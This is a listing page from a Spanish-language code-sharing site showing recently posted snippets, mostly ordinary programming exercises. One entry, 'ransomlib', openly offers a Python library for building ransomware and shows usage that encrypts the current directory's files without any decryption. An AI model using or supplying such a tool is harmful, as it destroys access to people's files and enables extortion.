Historial de los últimos códigos añadidos

Listado de los últimos códigos introducidos.
Imágen de perfil

Escapar una cadena con una expresión regular


JavaScript

Publicado el 15 de Diciembre del 2019 por katas
18 visualizaciones desde el 15 de Diciembre del 2019
Función que recibe una cadena y escapa los caracteres especiales utilizando replace() y una expresión regular.

1
2
escapeRegExp('hola $name'); // "hola \$name"
escapeRegExp('el objecto es: { nombre: ["juan", "jose"]}'); // "el objecto es: \{ nombre: \["juan", "jose"\]\}"
Imágen de perfil

Devuelver la longitud de una cadena en bytes


Python

Publicado el 15 de Diciembre del 2019 por katas
20 visualizaciones desde el 15 de Diciembre del 2019
Función que devuelva la longitud de una cadena en bytes.
utf-8 codifica una cadena dada y encuentra su longitud.

byte-size
Imágen de perfil

Devolver una lista con los elementos consecutivos sin repetir


Python

Publicado el 14 de Diciembre del 2019 por katas
55 visualizaciones desde el 14 de Diciembre del 2019
Implemente la función unique_in_order que toma como argumento una secuencia y devuelve una lista de elementos sin ningún elemento con el mismo valor uno al lado del otro y preservando el orden original de los elementos.

1
2
3
unique_in_order('AAAABBBCCDAABBB') # ['A', 'B', 'C', 'D', 'A', 'B']
unique_in_order('ABBCcAD') # ['A', 'B', 'C', 'c', 'A', 'D']
unique_in_order([1,2,2,3,3]) # [1, 2, 3]
Imágen de perfil

Ordenar un diccionario por su clave o valor


Python

Publicado el 14 de Diciembre del 2019 por katas
58 visualizaciones desde el 14 de Diciembre del 2019
Este código muestra como ordenar un diccionario por su clave y por su valor
Imágen de perfil
Val: 507
Oro
Ha mantenido su posición en Basic (en relación al último mes)
Gráfica de Basic
Actualizado

Tetris C64


Basic

Actualizado el 14 de Diciembre del 2019 por Adelino (Publicado el 25 de Noviembre del 2019)
619 visualizaciones desde el 25 de Noviembre del 2019
Juego de tipo tetris para Commodore 64.
Frodo
Imágen de perfil

Suma los intervalos de un array


JavaScript

Publicado el 13 de Diciembre del 2019 por katas
78 visualizaciones desde el 13 de Diciembre del 2019
Escriba una función llamada sumIntervals() que acepte una matriz de intervalos y devuelva la suma de todas las longitudes de intervalo. Los intervalos superpuestos solo deben contarse una vez.

Los intervalos están representados por un par de enteros en forma de matriz. El primer valor del intervalo siempre será menor que el segundo valor. Ejemplo de intervalo: [1, 5] es un intervalo de 1 a 5. La longitud de este intervalo es 4.

1
2
3
sumIntervals([[1, 4], [3, 5], [7, 10]]); // 7
sumIntervals([[1,2], [6, 10], [11, 15]]); // 9
sumIntervals([[1,5], [10, 20], [1, 6], [16, 19], [5, 11]]); // 19
Imágen de perfil

Preparar un texto para publicar hashtags


JavaScript

Actualizado el 13 de Diciembre del 2019 por katas (Publicado el 8 de Diciembre del 2019)
186 visualizaciones desde el 8 de Diciembre del 2019
Hay que ayudar al equipo de marketing a escribir los hashtags...
Un hashtag tiene que:
1.- Empezar por #
2.- Todas las letras de las palabras tienen que empezar en mayúsculas
3.- Si el texto es superior a 140 caracteres devolver "false"
4.- Si el valor recibido esta vació tiene que devolver "false"

1
2
3
4
generateHashtag(" Hello there thanks for trying my Kata"); // "#HelloThereThanksForTryingMyKata"
generateHashtag("    Hello     World   "                ); // "#HelloWorld"
generateHashtag(""                                      ); // false
generateHashtag("a".repeat(140))                        ); // false
Imágen de perfil

Generador de breadcrumb (migas de pan)


JavaScript

Actualizado el 13 de Diciembre del 2019 por katas (Publicado el 12 de Diciembre del 2019)
135 visualizaciones desde el 12 de Diciembre del 2019
Crear un generado de breadcram que dada una url devuelva el código html para publicar en la web.

A tener en cuenta:
1.- El texto de los enlaces se tiene que poner en mayúsculas
2.- En el nombre del dominio se pone HOME
3.- Si solo existe el dominio no tiene que ser un enlace
4.- Si el ultimo elemento es un nombre de archivo, eliminar el punto y extensión del archivo (.html, .php, ...), interrogantes (?) o anchors (#)...
5.- Si el enlace tiene mas de 30 caracteres, quitar del contenido las palabras ["the", "of", "in", "from", "by", "with", "and", "or", "for", "to", "at", "a"] y mostrar únicamente las iniciales del resto de palabras.
6.- Si un enlace dispone de guiones, no ponerlos en el texto de la url.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
generateBC("mysite.com/", " + ") // <span class="active">HOME</span>
 
generateBC("https://mysite.com/", " + ") // <span class="active">HOME</span>
 
generateBC('http://github.com/biotechnology-by-research-eurasian-insider-meningitis', ' # '); // <a href="/">HOME</a> # <span class="active">BREIM</span>
 
generateBC("mysite.com/pictures/holidays.html", " : "); // <a href="/">HOME</a> : <a href="/pictures/">PICTURES</a> : <span class="active">HOLIDAYS</span>
 
generateBC("www.codewars.com/users/GiacomoSorbi", " / "); // <a href="/">HOME</a> / <a href="/users/">USERS</a> / <span class="active">GIACOMOSORBI</span>
 
generateBC("www.microsoft.com/important/confidential/docs/index.htm#top", " * "); // <a href="/">HOME</a> * <a href="/important/">IMPORTANT</a> * <a href="/important/confidential/">CONFIDENTIAL</a> * <span class="active">DOCS</span>
 
generateBC("mysite.com/very-long-url-to-make-a-silly-yet-meaningful-example/example.htm", " > "); // <a href="/">HOME</a> > <a href="/very-long-url-to-make-a-silly-yet-meaningful-example/">VLUMSYME</a> > <span class="active">EXAMPLE</span>
 
generateBC("www.very-long-site_name-to-make-a-silly-yet-meaningful-example.com/users/giacomo-sorbi", " + "); // <a href="/">HOME</a> + <a href="/users/">USERS</a> + <span class="active">GIACOMO SORBI</span>
Imágen de perfil

final de programación. Mensajería


Java

Actualizado el 13 de Diciembre del 2019 por antonio (Publicado el 12 de Diciembre del 2019)
108 visualizaciones desde el 12 de Diciembre del 2019
hola soy estudiante de programación y humildemente subo mi código de examen final de primer año, de programación I las consignas fueron:

Una empresa de Correo y Mensajería dispone de 4 mensajeros para repartir cartas y envíos personales.
Para organizar las entregas, ha dividido la ciudad en 4 zonas.
En la Central, se recibe un correo y pedido de entrega y se asignan a los mensajeros dependiendo de la predilección que tenga el cliente por un mensajero.
Al finalizar el día, se ingresan la cantidad de mensajes entregados por zona por cada mensajero y se realizan algunos cálculos para medir eficiencia.
Por lo tanto, se debe Codificar un algoritmo que muestre un menú que permita:
a) Ingresar los pedidos de mensajes. Número de mensajero y la zona de pedido. Los pedidos de mensajes se ingresarán en la matriz hasta finalizar el ingreso.
b) Ingresar en otra matriz idéntica la cantidad de mensajes entregados por cada mensajero por zona.
c) Una vez terminado el ingreso del punto b), realizar los siguientes cálculos y búsquedas:
• Mensajero con mayor eficiencia (mayor porcentaje de mensajes entregados).
• Mensajero con mayor cantidad de entregas.
• Mensajero menos solicitado.
• Listado decreciente de mensajeros por cantidad de entregas.
• Zona con menor índice de entrega (en la que no se entregaron la mayor cantidad de mensajes).
Imágen de perfil

Poner el cursor al final de un input o textarea con JavaScript


JavaScript

Publicado el 12 de Diciembre del 2019 por Xavi
82 visualizaciones desde el 12 de Diciembre del 2019
Código que muestra como poner el cursor al final de un input o textarea y mover el scroll al final del mismo.
Imágen de perfil
Actualizado

Poner el cursor al final de un input o textarea con JQuery


JQuery

Actualizado el 12 de Diciembre del 2019 por Xavi (Publicado el 25 de Diciembre del 2013)
12.683 visualizaciones desde el 25 de Diciembre del 2013
Código que muestra como poner el cursor al final de un input o textarea y mover el scroll al final del mismo.
Imágen de perfil
Actualizado

Limitar la visualización de un texto y permitir mostrarlo y esconderlo con efecto transition de css3


JQuery

Actualizado el 11 de Diciembre del 2019 por Xavi (Publicado el 29 de Agosto del 2014)
1.647 visualizaciones desde el 29 de Agosto del 2014
Este código muestra como reducir el tamaño de un div que contiene un texto, para mostrar unicamente una parte del contenido del texto, y permitir mediante un botón de más y menos visualizar el resto del contenido

limitar-visualizacion-div
Imágen de perfil
Actualizado

Recortar el texto de un div para posteriormente permitir visualizarlo


JQuery

estrellaestrellaestrellaestrellaestrella(1)
Actualizado el 11 de Diciembre del 2019 por Xavi (Publicado el 3 de Septiembre del 2014)
4.339 visualizaciones desde el 3 de Septiembre del 2014
Código que dada una cadena superior a 100 caracteres, la recorta y añade al final del mismo un texto de "(más)" para mostrar todo el contenido nuevamente. De igual forma, aparece el texto "(menos)" al final para recortarlo posteriormente.

El funcionamiento del mismo, es que se guardan las cadenas de texto en un array de valores de javascript, para de esta manera, poder visualizar nuevamente todo el contenido.

recortar-texto-div
Imágen de perfil

ransomlib


Python

Publicado el 11 de Diciembre del 2019 por joker_116
125 visualizaciones desde el 11 de Diciembre del 2019
esta es una libreria de python que programe yo mismo y sirver para crear ransomwares con python con solo un linea de codigo el encryptado es sencillo ademas en una proxima vercion le agregare el desencryptado.

copian el codigo y lo pegan en un archivo .py lo guardan como ransomlib.py
luego lo guardan en las carpetas de las librerias de python y listo

1
2
3
4
5
6
7
8
9
10
uso = ransomlib.encrypt("llave de cifrado", "directorio a cifrar", "extencion de los archivos despues de cifrados")
 
import os
import ransomlib
 
directorio = os.getcwd()
key = "ransomwasad"
extencion = ".ENCRYPT"
 
ransomlib.encrypt(key, directorio, extencion)
Imágen de perfil

Devolver las listas que contienen los dos valores dados


Python

estrellaestrellaestrellaestrellaestrella(1)
Publicado el 10 de Diciembre del 2019 por katas
167 visualizaciones desde el 10 de Diciembre del 2019
Dado dos variables, buscar en diferentes listas si se encuentra el contenido de dos variables.

1
2
3
4
5
6
7
elemento1 = 'A'
elemento2 = 'C'
 
lista1 = [ 'A', 'D', 'F', 'C' ]
lista2 = [ 'A', 'B', 'G', 'L' ]
lista3 = [ 'C', 'D', 'F', 'J' ]
lista4 = [ 'A', 'D', 'C', 'M' ]

El elemento1 y elemento2 se encuentran en la lista1 y lista4
Imágen de perfil

Determinar si un código de Python se esta ejecutando


Python

Publicado el 10 de Diciembre del 2019 por katas
114 visualizaciones desde el 10 de Diciembre del 2019
Esta función devuelve true si una aplicación de python se esta ejecutando. Muy útil para saber si nuestra aplicación se esta ejecutando para no volver a ejecutarla nuevamente.

1
is_running("miArchivo.py");
Imágen de perfil

Función que enmascare nuestro numero de cuenta


Python

Publicado el 9 de Diciembre del 2019 por katas
123 visualizaciones desde el 9 de Diciembre del 2019
Crear una función que enmascare nuestro numero de cuenta, numero de teléfono o respuesta a pregunta secreta, cambiando todos los valores por '#' excepto los últimos 4 dígitos.

1
2
3
4
maskify("4556364607935616") # '############5616'
maskify("64607935616")      # '#######5616'
maskify("1")                # '1'
maskify("")                 # ''
Imágen de perfil

Buscar un elemento superior en el DOM por su tipo


JavaScript

estrellaestrellaestrellaestrellaestrella(1)
Publicado el 9 de Diciembre del 2019 por joel
133 visualizaciones desde el 9 de Diciembre del 2019
Este simple código muestra como desde un elemento dado, busca otro elemento superior en el DOM por su tipo.

En este ejemplo, desde un <input>, se van recorriendo los elementos hacia arriba hasta dar con el <form>
Imágen de perfil
Val: 3
Ha aumentado 1 puesto en Basic (en relación al último mes)
Gráfica de Basic

Controlar la carga de una imagen


JavaScript

Publicado el 9 de Diciembre del 2019 por Joan
169 visualizaciones desde el 9 de Diciembre del 2019
Este código nos indica si una imagen se ha cargado correctamente o si ha habido algún error.
Imágen de perfil

Sumar todos los elementos pares de un rango de números


Python

Publicado el 9 de Diciembre del 2019 por katas
179 visualizaciones desde el 9 de Diciembre del 2019
Crear una función que sume todos los valores pares de una comprendido entre dos números

1
2
3
4
sumarParesRango(1, 10) // 2+4+6+8+10 == 30
sumarParesRango(2, 10) // 2+4+6+8+10 == 30
sumarParesRango(20, 10) // 0
sumarParesRango(-10, 10) // -10-8-6-4-2+0+2+4+6+8+10 == 0
Imágen de perfil

Mostrar contenido de un archivo local con AJAX


AJAX

Publicado el 8 de Diciembre del 2019 por ScriptShow
156 visualizaciones desde el 8 de Diciembre del 2019
Saludos,

este Script Nativo 100% compatible, accede y muestra el contenido de un archivo ubicado en nuestro equipo sin precisar servidor local. Podemos utilizarlo como base para desarrollar proyectos más complejos. Es fácilmente adaptable con muy pocos cambios; no utiliza librerías de terceros, etc.

Espero sea útil.
Imágen de perfil
Actualizado

Suma de valores


JavaScript

estrellaestrellaestrellaestrellaestrella(22)
Actualizado el 8 de Diciembre del 2019 por Xavi (Publicado el 21 de Enero del 2013)
120.997 visualizaciones desde el 21 de Enero del 2013
Código que muestra como sumar los valores numéricos de unos cuadros de texto a medida que vamos escribiendo. Valida que los valores sean numéricos, mostrando el cuadro de texto en rojo si son incorrectos.

suma-valores
Imágen de perfil

Poner en mayúsculas la primera letra


JavaScript

Publicado el 8 de Diciembre del 2019 por katas
153 visualizaciones desde el 8 de Diciembre del 2019
Función que permite poner en mayúsculas la primera letra de una cadena o la primera letra cada palabra de una cadena.
Si no recibe una cadena, tiene que devolver una cadena vacía.

1
2
3
4
capitalize("el cielo es azul"); // El cielo es azul
capitalize("a"); // A
capitalize([]); // ""
capitalize("la casa azul", true); // El Cielo Es Azul
Imágen de perfil
Actualizado

Ordenar un array bidimensional por uno de sus campos


JavaScript

Actualizado el 8 de Diciembre del 2019 por Xavi (Publicado el 15 de Noviembre del 2019)
565 visualizaciones desde el 15 de Noviembre del 2019
En este código se muestra como ordenar un array asociativo por el campo edad.

Array Inicial:
1
2
3
4
5
[
    {nombre:"Juan", edad:18},
    {nombre:"Manuel", edad:12},
    {nombre:"Alberto", edad:15}
]

resultado:
1
2
3
4
5
[
    {nombre:"Manuel", edad:12},
    {nombre:"Alberto", edad:15},
    {nombre:"Juan", edad:18}
]
Imágen de perfil

Eliminar los caracteres que no son dígitos de una cadena


Ensamblador

Publicado el 7 de Diciembre del 2019 por Administrador
167 visualizaciones desde el 7 de Diciembre del 2019
Escribir una programa que reciba una cadena ingresada por teclado, terminada en ENTER, y luego que elimine todos los caracteres que no son dígitos, sin utilizar una variable auxiliar.
Imágen de perfil

Verifique que todos los caracteres de una cadena se encuentran en otra cadena


Ensamblador

Publicado el 7 de Diciembre del 2019 por Administrador
168 visualizaciones desde el 7 de Diciembre del 2019
Escribir un código que verifique que todas los caracteres de una cadena se encuentran en otra cadena.
Por ejemplo: todas las letras de la cadena "casa" se encuentran en "escaso". Pero no todas las letras de "cerro" se en encuentran en "recanate".
Imágen de perfil
Actualizado

Crear archivo XML en Progress 4gl


Progress

Actualizado el 6 de Diciembre del 2019 por Ana Zelideth (Publicado el 5 de Diciembre del 2019)
199 visualizaciones desde el 5 de Diciembre del 2019
Hola, les comparto un ejemplo de como pueden generar un archivo XML desde Progress 4gl. Esto es necesario en casos de comunicación con otros sistemas.
Imágen de perfil
Val: 6
Ha mantenido su posición en Basic (en relación al último mes)
Gráfica de Basic

Mi copiador de archivos


Access

Actualizado el 5 de Diciembre del 2019 por jorge (Publicado el 4 de Diciembre del 2019)
392 visualizaciones desde el 4 de Diciembre del 2019
base para copiar archivos de una carpeta origen a una carpeta destino por medio de una fecha de inicio y una fecha final, así como un modulo donde se podrá agregar las extencion que deseamos copiar.

copiador-de-archivos


espero a alguien le ayude saludos. desde mexico :)
sin imagen de perfil

Slider con imagenes diferente tamaño o altura


CSS

Actualizado el 5 de Diciembre del 2019 por LEONARDO (Publicado el 4 de Diciembre del 2019)
230 visualizaciones desde el 4 de Diciembre del 2019
Es un slider bootstrap css, es un codigo que no encontre en meses y la solucion era mas facil de lo que esperaba. dentro de todo este codigo lo que me interesa es el id="after" al final, que es lo que da tamaño al slider y lo deja fijo para que no se mueva lo que esta debajo.
Imágen de perfil

Obtener el factorial de un numero


JavaScript

Publicado el 4 de Diciembre del 2019 por katas
328 visualizaciones desde el 4 de Diciembre del 2019
En matematicas, el factorial de un numero n se escribe n!.El factorial de n o n factorial se define en principio como el producto de todos los números enteros positivos desde 1 (es decir, los números naturales) hasta n. Por ejemplo:

5! = 1 x 2 x 3 x 4 x 5 == 120

Escribir una función que reciba n y devuelva el valor de n!

1
2
factorial(5); // "120"
factorial(25); // "15511210043330985984000000"